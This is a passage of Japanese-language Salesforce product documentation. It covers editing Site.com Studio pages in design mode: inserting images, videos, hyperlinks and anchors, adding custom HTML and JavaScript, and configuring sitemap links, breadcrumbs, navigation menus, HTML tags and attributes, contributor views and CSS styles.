を更新すると、その変更はすべての子ページまたはページテンプレートに
転送されます。ただし、子ページまたはテンプレートのレベルで編集可能
なページ要素のコンテンツを変更する場合、要素間のリンクが機能しなく
なり、親テンプレートのページ要素に行われたその後の変更は子には反映
されません。
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設計モードでのコンテンツブロックへの画像の追加

エディション

使用可能なエディション:
Salesforce Classic

購入可能なエディション:
Enterprise Edition、
Performance Edition、およ
び Unlimited Edition

使用可能なエディション
(制限付き) : Developer
Edition

ユーザ権限

Site.comサイトを構築、編
集、および管理する
• [Site.com

Publisher ユーザ]
項目をユーザ詳細ペー
ジで有効化

および

サイトレベルで割り当
てられたサイト管理者
またはデザイナロール

Site.comサイトのコンテン
ツのみを編集する
• Site.com

Contributor ユーザ
および

サイトレベルで割り当
てられた寄稿者ロール

設計モードでページを表示している場合、デザイナおよびサイト管理者はコン
テンツブロックに画像を追加できます。
ページを開いた状態で、次の手順を実行します。
1. ページのコンテンツブロックをダブルクリックします。
2. 画像を挿入する位置にカーソルを置いて [ ] をクリックします。
3. [画像のプロパティ] ダイアログボックスで、次のいずれかを実行します。

• [画像の URL] 項目に画像の URL を入力します。
• [選択元の Web サイト]をクリックして表示されるリストの画像を選択し、

Web サイトから画像を選択します。
• [アップロード] タブを開き、画像まで移動して、[アップロード]をクリッ

クしてコンピュータから画像をアップロードします。

4. [代替テキスト] 項目に画像の簡単な説明を入力します説明は、スクリーン
リーダーユーザまたはブラウザで画像を表示できない場合の代替テキストと
して使用されます。また、検索エンジン最適化 (SEO) に役立てることができ
ます。

5. 必要に応じて、ページのテキストに対して画像がどのように表示されるかを
プレビューし、次を設定します。
• 画像の幅と高さ
• 画像の周囲を取り囲む余白量 (HSpace および VSpace プロパティで制御)

• ページのテキストの位置揃え
• 画像の境界線 (たとえば、幅 10 ピクセルの点線で緑の境界線を設定するに

は、[境界線] 項目に 10px dotted green と入力)

6. [適用] をクリックします。
7. [保存] をクリックします。

関連トピック:

設計モードでのコンテンツブロックの編集
コンテンツ編集ツールバーについて
アセットのインポートと管理
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設計モードでのコンテンツブロックへの動画の追加

エディション

使用可能なエディション:
Salesforce Classic

購入可能なエディション:
Enterprise Edition、
Performance Edition、およ
び Unlimited Edition

使用可能なエディション
(制限付き) : Developer
Edition

ユーザ権限

Site.comサイトを構築、編
集、および管理する
• [Site.com

Publisher ユーザ]
項目をユーザ詳細ペー
ジで有効化

および

サイトレベルで割り当
てられたサイト管理者
またはデザイナロール

Site.comサイトのコンテン
ツのみを編集する
• Site.com

Contributor ユーザ
および

サイトレベルで割り当
てられた寄稿者ロール

デザイナおよびサイト管理者は、設計モードでページを表示している場合、コ
ンテンツブロックに YouTube®、Google®、Adobe® Flash®、Windows Media®、Apple

QuickTime® 動画を追加できます。
ページを開いた状態で、次の手順を実行します。
1. ページのコンテンツブロックをダブルクリックします。
2. 動画を挿入する箇所にカーソルを置いて、 をクリックします。
3. [動画のプロパティ] ダイアログボックスで、動画のタイプを選択し、次のい

ずれかの操作を実行します。
• [動画の URL] テキストボックスに、

http://www.youtube.com/watch?v=123abc など、動画の URL を入力
します。

• [選択元の Web サイト]をクリックして表示されるリストの動画を選択し、
Web サイトから動画を選択します。

• [アップロード] タブを開き、画像まで移動して、[アップロード]をクリッ
クしてコンピュータから動画をアップロードします。

メモ:  Flash、Windows Media、および QuickTime の動画のみを選択または
アップロードできます。

4. ページに動画を表示する方法を指定するには、次の内容を設定できます。
• 動画の幅と高さ
• 動画の周囲を取り囲む余白量 (HSpace および VSpace プロパティで制御)

• ページのテキストの位置揃え
動画をプレビューすることもできます。

5. [適用] をクリックします。動画はコンテンツブロックではアイコンとして表
示されます。

6. [保存] をクリックします。

メモ: ページをプレビューすると、Windows Media の動画以外のすべての動
画タイプを確認することができます。

関連トピック:

設計モードでのコンテンツブロックの編集
コンテンツ編集ツールバーについて
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設計モードでのテキストおよび画像へのハイパーリンクの追加

エディション

使用可能なエディション:
Salesforce Classic

購入可能なエディション:
Enterprise Edition、
Performance Edition、およ
び Unlimited Edition

使用可能なエディション
(制限付き) : Developer
Edition

ユーザ権限

Site.comサイトを構築、編
集、および管理する
• [Site.com

Publisher ユーザ]
項目をユーザ詳細ペー
ジで有効化

および

サイトレベルで割り当
てられたサイト管理者
またはデザイナロール

設計モードでページを表示している場合、デザイナおよびサイト管理者は次へ
のハイパーリンクを作成できます。
• 外部 Web ページまたは Web サイト
• サイトのページおよびアセット
• メールメッセージ
• ページのアンカー
ページを開いた状態で、次の手順を実行します。
1. ページのコンテンツブロックをダブルクリックします。
2. ハイパーリンクを追加するテキストまたは画像を選択して、 をクリック

します。
3. [リンク先] ドロップダウンリストから、リンク種別を選択します。次の項目

にリンクする手順は、次のとおりです。
• Web ページ:

a. [URL] を選択します。
b. [URL]項目に http://www.externalsite.comなどのアドレスを入

力します。
c. ステップ 4 に進みます。

• サイト内のページまたは項目:

a. [サイトの項目] を選択します。
b. ページや画像などのデータ型を選択します。
c. 項目を選択します (項目リストが表示されない場合は、[URL] 項目に

カーソルを置いてキーボードの Down キーを押します)。
d. ステップ 4 に進みます。

• 以前ページに追加したアンカー:

a. [ページのアンカー] を選択します。
b. ドロップダウンリストからアンカーを選択します。または、新規アンカー名を入力して、後でアン

カーを作成します。
c. ステップ 5 に進みます。

• メールメッセージ:

a. [メール] を選択します。
b. 受信者のメールアドレスとメッセージ情報を入力します。
c. ステップ 5 に進みます。

メモ: データの繰り返しのコンテンツブロックでは、式を使用して、カスタムリンク (URL クエリ文字
列など) をサイト内の項目または Web ページに追加できます。
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4. 項目が開かれるウィンドウを選択するには、[対象] ドロップダウンリストから次のオプションを選択しま
す。
• ポップアップウィンドウ: ポップアップウィンドウに項目を読み込みます。このオプションを選択する

と、ポップアップのタイトルを設定し、表示されるオプションを使用して外観およびサイズを制御でき
ます。

• 新規ウィンドウ (_blank): 名前のないブラウザウィンドウに項目を読み込みます。
• 同じウィンドウ (_self): 同じフレームまたはウィンドウのリンクとして項目を読み込みます。これは、デ

フォルト設定です。
• 最上位ウィンドウ (_top): 最上位の親フレームセットまたはリンクを含むフレームのウィンドウに項目を

読み込みます。
• 親ウィンドウ (_parent): 親フレームセットまたはリンクを含むフレームのウィンドウに項目を読み込み

ます。

5. 必要に応じて、リンクのツールチップの説明を入力します。リンクにマウスポインタを置くと、ポップアッ
プとしてツールチップが表示されます。

6. [適用] をクリックします。
7. [保存] をクリックします。

ハイパーリンクを削除するには、ハイパーリンクを選択して、 をクリックします。

関連トピック:

設計モードでのコンテンツブロックの編集
コンテンツ編集ツールバーについて
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設計モードでのページへのアンカーの追加

エディション

使用可能なエディション:
Salesforce Classic

購入可能なエディション:
Enterprise Edition、
Performance Edition、およ
び Unlimited Edition

使用可能なエディション
(制限付き) : Developer
Edition

ユーザ権限

Site.comサイトを構築、編
集、および管理する
• [Site.com

Publisher ユーザ]
項目をユーザ詳細ペー
ジで有効化

および

サイトレベルで割り当
てられたサイト管理者
またはデザイナロール

Site.comサイトのコンテン
ツのみを編集する
• Site.com

Contributor ユーザ
および

サイトレベルで割り当
てられた寄稿者ロール

アンカーは、ページの特定の場所を識別する非表示のマーカーです。デザイナ
またはサイト管理者の場合は、アンカーをページに追加し、その特定の場所に
移動するハイパーリンクを作成できます。これは、特に長いページで役立ちま
す。たとえば、ページに複数のセクションがある場合、ページの上部に各セク
ションへのリンクを追加し、容易にナビゲーションできるようにします。
設計モードでページを開いた状態で、次の手順を実行します。
1. ページのコンテンツブロックをダブルクリックします。
2. リンクする行頭にカーソルを配置して、 をクリックします。
3. アンカーの名前を入力して、[適用] をクリックします。ページのアンカーの

場所を識別しやすい名前 (top など) を使用することをお勧めします。
4. 次に、アンカーにリンクするハイパーリンクを作成します。

関連トピック:

設計モードでのテキストおよび画像へのハイパーリンクの追加
設計モードでのコンテンツブロックの編集
コンテンツ編集ツールバーについて
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ページへのカスタムコードの追加

エディション

使用可能なエディション:
Salesforce Classic

購入可能なエディション:
Enterprise Edition、
Performance Edition、およ
び Unlimited Edition

使用可能なエディション
(制限付き) : Developer
Edition

ユーザ権限

Site.comサイトを構築、編
集、および管理する
• [Site.com

Publisher ユーザ]
項目をユーザ詳細ペー
ジで有効化

および

サイトレベルで割り当
てられたサイト管理者
またはデザイナロール

カスタムコードにより、HTML や JavaScript などのマークアップを使用してサイト
をカスタマイズできます。
• [カスタムコード] ページ要素を使用して、マークアップをページの特定の場

所に追加します。[カスタムコード] ページ要素を使用して追加される JavaScript

はページの一部が読み込まれるときに読み込まれます。
• マークアップをページ head に追加します。ページ head の JavaScript が最初

に読み込まれます。
• JavaScript をページ bodyに追加 (ページ6074)します。ページ bodyに追加され

た JavaScript は、body タグの末尾に配置され、DOM 対応の場合にのみ読み込
まれます。

• JavaScript ファイルまたはライブラリへの参照をページ head または body に
追加 (ページ 6075)します。

ヒント:

• Site.com Studioでページを編集しているときはスクリプトを実行できませ
ん。コードをテストするには、ページをプレビューします。

• 既存の HTML サイトから Site.com サイトを構築する場合、[カスタムコー
ド] ページ要素を使用して元のサイトから大量の HTML を貼り付けるのは
避けてください。代わりに、パネル、コンテンツブロック、およびデー
タテーブルなどの使用可能なページ要素を使用します。これにより、将
来の更新および設計変更がより容易になります。

ページへのマークアップの直接追加
1. [カスタムコード] ページ要素を [ページ要素] ペインからページにドラッグし

ます。
2. [コードを編集] ダイアログボックスにコードを入力します。
3. ページにコードを直接追加するには、[保存 & 閉じる] をクリックします。

ページ Head へのマークアップの追加
1. [プロパティ] ペインの [スクリプト] セクションにある [ヘッドマークアップを編集] セクションで、[設定]を

クリックします。
2. [HTML コードを編集] ダイアログボックスにマークアップを入力します。
3. ページ head にマークアップを挿入するには、[保存 & 閉じる] をクリックします。

ページ Body への JavaScript の追加
1. [プロパティ] ペインの [スクリプト] セクションにある [本文スクリプトを編集] セクションで、[設定] をク

リックします。
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2. [JavaScript コードを編集] ダイアログボックスにコードを入力します。<script>タグはすでに含まれている
ため、追加しないでください。

3. ページ body の下にコードを追加するには [保存 & 閉じる] をクリックします。

JavaScript ファイルまたはライブラリの使用
ページに JavaScript コードを直接追加する代わりに、インポートされた JavaScript ファイルまたは外部の JavaScript

ファイルへのリンクまたはオープンソースライブラリへのリンクを含むことができます (Google Libraries API を使
用)。
1. [プロパティ] ペインの [スクリプト] セクションにある [本文スクリプト] または [ヘッドスクリプト] セクショ

ンで、 をクリックします。
2. 次の項目にリンクする手順は、次のとおりです。

• インポートした JavaScript ファイル。[インポートされたスクリプト]を選択してファイルを選択します。
• オープンソース JavaScript ライブラリ。[Google AJAX ライブラリ] を選択してライブラリを選択します。
• 外部 JavaScript ファイル。[外部スクリプトへの URL] を選択してアドレスを入力します。

3. [適用] をクリックします。

関連トピック:

カスタムコードを使用したデータの表示
Site.com のページ要素の追加

サイトマップおよびページ階層について

エディション

使用可能なエディション:
Salesforce Classic

購入可能なエディション:
Enterprise Edition、
Performance Edition、およ
び Unlimited Edition

使用可能なエディション
(制限付き) : Developer
Edition

[概要] タブの [サイトページ] ビューには Web サイトのページおよびサイトマップ
のリンクが含まれています。サイトマップフォルダでは、サイトマップに含ま
れているサイトページおよびリンクを格納することで、サイトの階層またはツ
リー構造を反映しています。新しいページまたはサイトマップのリンクを作成
すると、このフォルダに自動的に追加されます。リンク先ページフォルダには
サイトマップから除外されるスタンドアロンページが格納されており、販売促
進ページまたはコンペティションのページなど一時的なページに最適なフォル
ダです。

ヒント:  [概要] タブの [サイトページ] ビューのサイトマップフォルダが表示
されない場合は、 をクリックします。

サイトにナビゲーションメニューを追加するときは、サイトページおよびリン
クの階層を適切に編成することが重要です。これは、この構造を使用してメ
ニューを生成するためです。ページおよびサイトマップのリンクは、ユーザが
並べた順序でナビゲーションメニューに表示されます。
サイト階層のこの表現では、ツリー構造をより明確に確認できます
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1. サイトマップフォルダ。4 つのサイトページが含まれます。
2. サイト階層の最上位のページ。
3. 2 つの子ページを持つ最上位の親ページ。子ページはサイト階層で親ページより下位のレベルにあるページ

です。
4. 2 つの子ページ。
5. リンク先ページフォルダ。サイトマップまたはナビゲーションメニューの一部ではない一時ページが含ま

れます。

ヒント: ページに子ページがある場合は、 アイコンがページの横に表示され、ブランチを展開できるこ
とを示します。

デフォルトでは、メニューは、[サイトページ] ビューのサイトマップフォルダのページとサイトマップのリン
クから作成されます。ただし、リンク先ページフォルダのページから、またはサイトページの子ページまたは
同階層ページから、メニューを作成することもできます。
各ページの [プロパティ] ペインにある [ページを非表示] チェックボックスを選択すると、メニュー、ブレッ
ドクラブ、およびサイトマップでページを非表示にすることができます。また、この設定は Web サイトの訪
問者がページのダイレクト URL にアクセスしないようにします。デフォルトでは、すべてのページが表示され
ます。

サイトマップへのリンクの追加
ページの他にもサイトマップに割り当てることができます。内部または外部 URL をサイトマップに追加し
て、ナビゲーションメニューおよびブレッドクラムをカスタマイズし、柔軟性を高めて管理を強化できま
す。

6076

コミュニティビルダー (Site.com)コードではなくてクリックによる Salesforce の拡張



ページへのブレッドクラムナビゲーションの追加
ページにブレッドクラムページ要素を追加して、サイト内を移動しやすくし、サイト階層内のページの場
所を示します。
ナビゲーションメニューの追加
ナビゲーションメニューのスタイル設定

関連トピック:

ナビゲーションメニューの追加
Site.com ページの作成

サイトマップへのリンクの追加

エディション

使用可能なエディション:
Salesforce Classic

購入可能なエディション:
Enterprise Edition、
Performance Edition、およ
び Unlimited Edition

使用可能なエディション
(制限付き) : Developer
Edition

ユーザ権限

Site.comサイトを構築、編
集、および管理する
• [Site.com

Publisher ユーザ]
項目をユーザ詳細ペー
ジで有効化

および

サイトレベルで割り当
てられたサイト管理者
またはデザイナロール

ページの他にもサイトマップに割り当てることができます。内部または外部 URL

をサイトマップに追加して、ナビゲーションメニューおよびブレッドクラムを
カスタマイズし、柔軟性を高めて管理を強化できます。
たとえば、最上位の商品ページのメニューが子ページに基づいているとします。
また、「推薦状」というページをメニューに含めたいと考えています。ただし、
このページは商品ページの子ページではありません。推薦状ページを参照する
サイトマップのリンクを作成し、このリンクをサイトマップ内の商品の下に追
加できます。これにより、訪問者が商品ページを表示したときに、子ページと
訪問者を推薦状ページに直接リダイレクトするメニュー項目で構成されるメ
ニューが表示されます。
1. [概要] タブで [新規] > [サイトマップリンク] をクリックします。
2. リンクの名前を入力します。
3. URLを入力します。URL は相対または絶対のどちらでも使用でき、大文字と小

文字が区別されます。

メモ: http://や https://などのプレフィックスが含まれない場合、
Site.com Studio でサイトマップの絶対リンクをプレビューできません。

4. [作成] をクリックします。
リンクは、サイトマップの下部に表示されます。

5. リンクをサイトマップの適切な位置にドラッグします。

メモ: サイトマップのリンクはナビゲーションメニューおよびブレッドク
ラムに自動的に含まれます。ただし、サイトマップのリンクをブレッドク
ラムのカスタムルートノードとして設定することはできません。

関連トピック:

ページへのブレッドクラムナビゲーションの追加
ナビゲーションメニューの追加
サイトマップおよびページ階層について
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ページへのブレッドクラムナビゲーションの追加

エディション

使用可能なエディション:
Salesforce Classic

購入可能なエディション:
Enterprise Edition、
Performance Edition、およ
び Unlimited Edition

使用可能なエディション
(制限付き) : Developer
Edition

ユーザ権限

Site.comサイトを構築、編
集、および管理する
• [Site.com

Publisher ユーザ]
項目をユーザ詳細ペー
ジで有効化

および

サイトレベルで割り当
てられたサイト管理者
またはデザイナロール

ページにブレッドクラムページ要素を追加して、サイト内を移動しやすくし、
サイト階層内のページの場所を示します。
通常、ブレッドクラムナビゲーションはメニューナビゲーションを補足するも
のであり、サイトマップ内のページおよびリンクに基づいています。各ページ
の [プロパティ] ペインにある [ページを非表示] チェックボックスを選択する
と、メニュー、ブレッドクラブ、およびサイトマップでページを非表示にする
ことができます。また、この設定は Web サイトの訪問者がページのダイレクト
URL にアクセスしないようにします。デフォルトでは、すべてのページが表示さ
れます。

ヒント: 時間と労力を節約するために、ブレッドクラムページ要素をペー
ジテンプレートに追加して、テンプレートベースの各サイトページに自動
的に含められるようにします。派生した各ページ上のブレッドクラムは、
サイトマップ内の場所に基づいて動的に更新されます。

1. ブレッドクラム要素を追加するページまたはページテンプレートを開きま
す。

2. [ページ要素] ペインからページに [ブレッドクラム] をドラッグします。
3. [プロパティ] ペインの [ルート] で、ブレッドクラムのカスタムルートノード

を指定します。デフォルトでは、ルート値は [なし] に設定され、サイトマッ
プ内のページの場所に基づいてブレッドクラム構造が構築されます。
• [ホームページ] を選択して、サイトのホームページをブレッドクラムの

最初の項目として設定します。サイトのホームページの設定方法につい
ては、「サイトのプロパティの設定」を参照してください。

• ブレッドクラムの最初の項目として設定する特定のサイトページを選択
します。

メモ: サイトマップのリンクをブレッドクラムのカスタムルートノードとして設定することはできま
せん。

4. [プロパティ] ペインの [区切り文字] で、ブレッドクラムノード間で使用される区切り文字をカスタマイズ
できます。
デフォルトでは、区切り文字は > です。ただし、別のテキスト記号に変更したり、サイト内の画像用に
<img src='/separatorimage.jpg'/> などの HTML コードを挿入できます。

5. ブレッドクラムのスタイルを設定する手順は、次のとおりです。
a. [スタイル] ペインをクリックし、[クラス] が選択されていることを確認します。
b. [スタイル] ドロップダウンリストからオプションを選択します。
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c. 必要に応じて [ビジュアル] タブの値を調整します。

関連トピック:

ナビゲーションメニューの追加
Site.com のページ要素の編集および使用

ナビゲーションメニューの追加

エディション

使用可能なエディション:
Salesforce Classic

購入可能なエディション:
Enterprise Edition、
Performance Edition、およ
び Unlimited Edition

使用可能なエディション
(制限付き) : Developer
Edition

ユーザ権限

Site.comサイトを構築、編
集、および管理する
• [Site.com

Publisher ユーザ]
項目をユーザ詳細ペー
ジで有効化

および

サイトレベルで割り当
てられたサイト管理者
またはデザイナロール

デフォルトでは、メニューは、[サイトページ] ビューのサイトマップフォルダの
ページとサイトマップのリンクから作成されます。ただし、リンク先ページフォ
ルダのページから、またはサイトページの子ページまたは同階層ページから、
メニューを作成することもできます。
1. サイトマップフォルダまたはリンク先ページフォルダのサイトページおよび

サイトマップのリンクを任意の場所にドラッグし、メニューに表示する順に
並べます。ページまたはサイトマップのリンクを他のページまたはリンクの
上にドラッグすると、その項目の子にすることができます。ページまたはリ
ンクをリンク先ページフォルダにドラッグすると、サイトマップからそれら
を除外できます。

ヒント:  [概要] タブの [サイトページ] ビューのサイトマップフォルダが
表示されない場合は、 をクリックします。

2. ナビゲーションメニューに追加するページテンプレートまたはサイトページ
を開きます。

3. [ページ要素] ペインからページに [メニュー] をドラッグします。
4. [プロパティ] ペインの [メニューソース] でメニューに使用するページを選択

します。デフォルトでは、サイトマップフォルダを使用してメニューを作成
します。該当する階層内のサイトマップのリンクは、メニューにも表示され
ます。
• ランディングページフォルダのページからメニューを作成するには、ラ

ンディングページを選択します。
• 現在のページの子ページからメニューを作成するには、子ページを選択し

ます。
• 現在のページと同じ親を共有するすべてのページからメニューを作成するには、親ページを選択しま

す。
• その子ページのみからメニューを作成するには、特定のサイトページを選択します。

メモ: メニュー要素をページテンプレートに追加する場合、メニューソースとして子ページまたは親
ページを選択すると、テンプレートにメニューが正しく表示されません。これは、サイトマップ階層
にページテンプレートが含まれないためです。ただし、サイトページには、ページテンプレートに基
づいてメニューが適切に表示されます。
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5. メニューの外観を変更するには、[テーマ名] ドロップダウンリストから他のテーマを選択できます。たと
えば、ドロップダウンメニューを作成するには、[横方向ドロップダウン] を選択します。ニーズに合わせ
て、すべてのテーマのスタイルを変更できます。

6. メニューのページの名前を変更するには、関連するページを開いて、[プロパティ] ペインの [ナビゲーショ
ン名] 項目を更新します。ナビゲーション名には、空白や特殊文字を使用できます。
メニューのサイトマップのリンクの名前を変更するには、[概要] タブの [サイトページ] ビューでリンクにマ
ウスポインタを置いて [編集] をクリックし、名前を更新します。

ヒント:

• 新しいページまたはサイトマップのリンクの追加、ページの [ナビゲーション名]プロパティの更新、
あるいはページまたはリンクの並び替えを行う場合、メニューは自動的にその変更を反映するように
更新されます。

• すべてのサイトページにメニューを自動的に含めるには、メニューをページテンプレートに追加し
て、サイトページをそのテンプレートに基づいて作成します。

• 各ページの [プロパティ] ペインにある [ページを非表示]チェックボックスを選択すると、メニュー、
ブレッドクラブ、およびサイトマップでページを非表示にすることができます。また、この設定は
Web サイトの訪問者がページのダイレクト URL にアクセスしないようにします。デフォルトでは、す
べてのページが表示されます。

関連トピック:

ナビゲーションメニューのスタイル設定
サイトマップおよびページ階層について
Site.com のページ要素の追加
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ナビゲーションメニューのスタイル設定

エディション

使用可能なエディション:
Salesforce Classic

購入可能なエディション:
Enterprise Edition、
Performance Edition、およ
び Unlimited Edition

使用可能なエディション
(制限付き) : Developer
Edition

ユーザ権限

Site.comサイトを構築、編
集、および管理する
• [Site.com

Publisher ユーザ]
項目をユーザ詳細ペー
ジで有効化

および

サイトレベルで割り当
てられたサイト管理者
またはデザイナロール

ナビゲーションメニューは、Web サイトのデザインに一致するようにカスタマ
イズできる CSS テーマを使用してスタイル設定されます。ページにナビゲーショ
ンメニューを追加する場合は、デフォルトのテーマを使用して、外観を制御し
ます。[プロパティ] ペインの [テーマ名] ドロップダウンリストのその他の既存の
テーマから選択します。
または、ニーズに合わせてテーマをカスタマイズする手順は、次のとおりです。
1. ページのナビゲーションメニューを選択します。
2. [プロパティ] ペインの [テーマ名] ドロップダウンリストでベースとして使用

するテーマを選択します。サイトのデザインに最も合うテーマを使用する
か、[空白] を選択して、完全に空白のテーマから開始します。

3. [スタイル] ペインを開き、[クラス] が選択されていることを確認します。
4. [スタイル] ドロップダウンリストで、スタイル設定するメニューの部分を選

択します。項目を選択すると、数秒間強調表示されるため、スタイル設定し
ている部分を簡単に確認できます。

ヒント:  CSS に精通している場合は、サイトのスタイルシートでメニュー
のスタイルを変更することもできます。

5. 選択したメニュー項目のスタイルを設定するには、スタイルペインのプロパ
ティを使用します。変更はすぐにメニューに反映されます。

6. メニューの部分ごとに必要なだけ繰り返します。

関連トピック:

ナビゲーションメニューの追加
サイトマップおよびページ階層について
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カスタム HTML 属性の追加

エディション

使用可能なエディション:
Salesforce Classic

購入可能なエディション:
Enterprise Edition、
Performance Edition、およ
び Unlimited Edition

使用可能なエディション
(制限付き) : Developer
Edition

ユーザ権限

Site.comサイトを構築、編
集、および管理する
• [Site.com

Publisher ユーザ]
項目をユーザ詳細ペー
ジで有効化

および

サイトレベルで割り当
てられたサイト管理者
またはデザイナロール

ページ要素の HTML タグで表示するカスタム HTML 属性をページやページ要素に
追加できます。たとえば、特定の属性に基づいて、ページ要素を異なって表示
するサードパーティのフレームワークで作業している場合に役立ちます。
ページを開いた状態で、次の手順を実行します。
1. [ページ構造] ペインで関連するページまたはページ要素を選択します。
2.

[プロパティ] ペインの [HTML 属性] セクションで、 をクリックします。
3. HTML 属性の名前と値を入力します。
4. [保存] をクリックします。

HTML 属性を削除するには、選択して、 をクリックします。

HTML 属性の表示順序を変更するには、HTML 属性を選択して、 または を
クリックします。

関連トピック:

ページ要素の HTML タグの変更
HTML5 セマンティックページレイアウトタグ
ページの DOCTYPE プロパティの変更
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ページ要素の HTML タグの変更

エディション

使用可能なエディション:
Salesforce Classic

購入可能なエディション:
Enterprise Edition、
Performance Edition、およ
び Unlimited Edition

使用可能なエディション
(制限付き) : Developer
Edition

ユーザ権限

ページ要素のプロパティ
を編集する
• [Site.com

Publisher ユーザ]
項目をユーザ詳細ペー
ジで有効化

および

Site.com Studio で割り
当てられたサイト管理
者またはデザイナロー
ル

デフォルトでは、パネル、データの繰り返し、データ要素、カスタムコード、
およびコンテンツブロックは、それぞれ divとして定義されますが、[HTML タ
グ] プロパティを使って、これを他の HTML タグに変更できます。この高い柔軟
性によって、ページ上のページ要素の表示方法を制御することができます。

警告: [HTML タグ] プロパティは、ページ要素の表示方法について強力な
制御方法を提供します。ただし、ページ要素の HTML タグを変更すると、無
効な HTML が生成されることがあります。変更を公開する前に、ページを十
分にテストしてください。

パネル、データの繰り返し、データ要素、カスタムコード、またはコンテンツ
ブロックを再定義する手順は、次のとおりです。
1. ページの要素を選択します。
2. [プロパティ] ペインの [HTML タグ] 項目に、タグ名を入力します。
3. 表示されるオートコンプリートリストから、関連する HTML タグを選択しま

す。または、JavaScript ライブラリを使用している場合や将来的に新しい HTML5

タグが導入された場合は、独自の HTML タグを定義できます。また、パネル、
データの繰り返し、データ要素、カスタムコード、またはコンテンツブロッ
クの HTML タグを削除し、その ID、クラス、またはインラインスタイルを無
効化できます。

メモ: 次のタグは、オートコンプリートリストに含まれません。
• base

• body

• doctype

• head

• html

• meta

• style

• title

関連トピック:

HTML5 セマンティックページレイアウトタグ
カスタム HTML 属性の追加
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HTML5 セマンティックページレイアウトタグ

エディション

使用可能なエディション:
Salesforce Classic

購入可能なエディション:
Enterprise Edition、
Performance Edition、およ
び Unlimited Edition

使用可能なエディション
(制限付き) : Developer
Edition

HTML5 では、要素に含まれるコンテンツを説明する複数のセマンティックページ
レイアウトタグを定義しています。これらのタグにより、検索エンジンやスク
リーンリーダーがさらに容易にコンテンツを読み取り、編成できるようになり
ます。
デフォルトでは、パネル、データの繰り返し、データ要素、コンテンツブロッ
ク、およびカスタムコードなどのいくつかのページ要素は div として定義され
ます。ページ要素の [HTML タグ] プロパティを使用して、次のようなセマン
ティック HTML5 ブロックタグを変更できます。

説明オプション

雑誌の記事、フォーラムの投稿などの
コンテンツの独立した項目を含むセク
ション。

Article

サイドバーまたは広告などメインペー
ジのコンテンツに表面上のみ関連する
コンテンツを含むセクション。

Aside

対話型のウィジェットを使用してユー
ザが表示または非表示にできる詳細を

Details

含むセクション。サマリーセクション
を含めることもできます。

導入部分またはナビゲーション要素の
グループを含むセクション。

Header

ページまたは親セクションのフッター
セクション。通常、親セクションの情

Footer

報を含み、セクションの末尾に表示さ
れます。

ナビゲーションリンクを含むセクショ
ン。

Nav

ページの汎用的なセクション。Section

詳細セクションのサマリーまたはキャ
プションのセクション。

Summary
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ヒント:  HTML5 セマンティックタグを使用する場合、ページの doctype を変更して HTML5 にすることもお勧
めします。

関連トピック:

ページ要素の HTML タグの変更
カスタム HTML 属性の追加

寄稿者の Studio ビューの設定

エディション

使用可能なエディション:
Salesforce Classic

購入可能なエディション:
Enterprise Edition、
Performance Edition、およ
び Unlimited Edition

使用可能なエディション
(制限付き) : Developer
Edition

ユーザ権限

Site.comサイトを構築、編
集、および管理する
• [Site.com

Publisher ユーザ]
項目をユーザ詳細ペー
ジで有効化

および

サイトレベルで割り当
てられたサイト管理者
またはデザイナロール

Site.com Studio で寄稿者が実行可能な操作を制御します。
寄稿者の Site.com Studio ビューでは、ユーザが Web サイトのコンテンツを参照お
よび更新できます。ただし、寄稿者がサイトのコンテンツを編集できるように
するには、まず、テンプレートに基づいて編集可能な領域を設定したページを
作成し、数種のプロパティを有効にする必要があります。
寄稿者は次のことを行うには、以下の手順を実行します。
• ページでテキストを編集するには、テンプレートに基づいて編集可能なコン

テンツブロックを設定したページを作成します。
• コンテンツブロックをページに追加するには、テンプレートに基づいて編集

可能なコンテンツブロックを設定したページを作成します。
• テンプレートに基づいたサイトページを作成するには、ページテンプレート

が開いているときに [プロパティ] ペインで [寄稿者が利用可] を選択します。
• ウィジェットをページに追加するには、[概要] タブの [ウィジェット] ビュー、

またはウィジェットが開いているときは [プロパティ] ペインで [寄稿者が利
用可] を選択します。

• ページやウィジェットのデザインを更新するには、ブランドプロパティを設
定します。

寄稿者の Site.com Studio ビューが適切に設定されていることを確認するには、(上
部のツールバーにある) サイトのプルダウンメニューで [寄稿者として Studio を
表示] をクリックします。終了するには、[私の Studio ビューに戻る] をクリック
します。
寄稿者のビューは、デフォルトでSite.comコミュニティサイトでは使用できませ
ん。ただし、Site.com Contributor ライセンスを使用して、特定のユーザに寄稿者ア
クセス権を付与できます。詳細は、Site.com ヘルプの「機能ライセンスについ
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て」を参照してください。または、サイトの URL に ?iscontrib を追加することで、ユーザが寄稿者として
Site.comコミュニティサイトをプレビューできます。例: https://sitestudio.na1.force.com/?iscontrib

関連トピック:

Site.com のページテンプレートの作成
ウィジェットの作成
サイトブランドの概要
寄稿者のページ編集ビューについて

カスケードスタイルシートの概要

エディション

使用可能なエディション:
Salesforce Classic

購入可能なエディション:
Enterprise Edition、
Performance Edition、およ
び Unlimited Edition

使用可能なエディション
(制限付き) : Developer
Edition

カスケードスタイルシート (CSS) を使用して、Web サイトのページに柔軟にスタ
イルを追加できます。フォーマットルールが集められた CSS はページの外観を制
御し、フォント、色、レイアウトなどプレゼンテーション機能を定義できます。
フォントを制御する CSS を使用して、複数のブラウザでページの外観とレイアウ
トの一貫性をさらに高めることができます。CSS でユーザが制御できる多数のテ
キストプロパティの一部には、フォントファミリとサイズ、テキストの色と背
景色、テキストの書式設定、およびリンクの色があります。
CSS を使用して、ブロックレベル要素の位置設定、色の追加、テキストの回り込
み、余白と境界の設定を行うこともできます。ブロックレベル要素は、視覚的
にブロックとしてフォーマットされるコンテンツのスタンドアロン要素です。
たとえば、コンテンツブロック (pタグに等しい) とパネル (divタグと同じ) は、
両方ともブロックレベル要素です。
Site.com では、CSS の最新仕様である CSS3 をサポートしています。

インラインスタイルとスタイルシートについて
Site.com Studio では、次の操作を実行できます。
• [スタイル] ペイン ( ) の [インライン]オプションを使用して、選択したページまたはページ要素にスタイ

ルを直接適用する。インラインスタイルは、選択した項目にのみ適用されます。
• スタイルシートに CSS クラスや ID などのスタイル項目を追加して、選択したページまたはページ要素にス

タイル項目を適用する。この方法を使用すると、コンテンツ (Web ページ) がプレゼンテーション (スタイル
シート) から分離されます。

CSS に精通していない場合、インラインオプションが最も簡単に理解して使用できます。ただし、インライン
スタイルではコンテンツとプレゼンテーションが混合するため、スタイルシートの多くの利点が失われます。
つまり、インラインスタイルは、個々の要素にのみ適用されます。サイトのスタイルを更新する必要がある場
合、影響を受けるページとページ要素のすべてのスタイルプロパティを更新する必要があります。
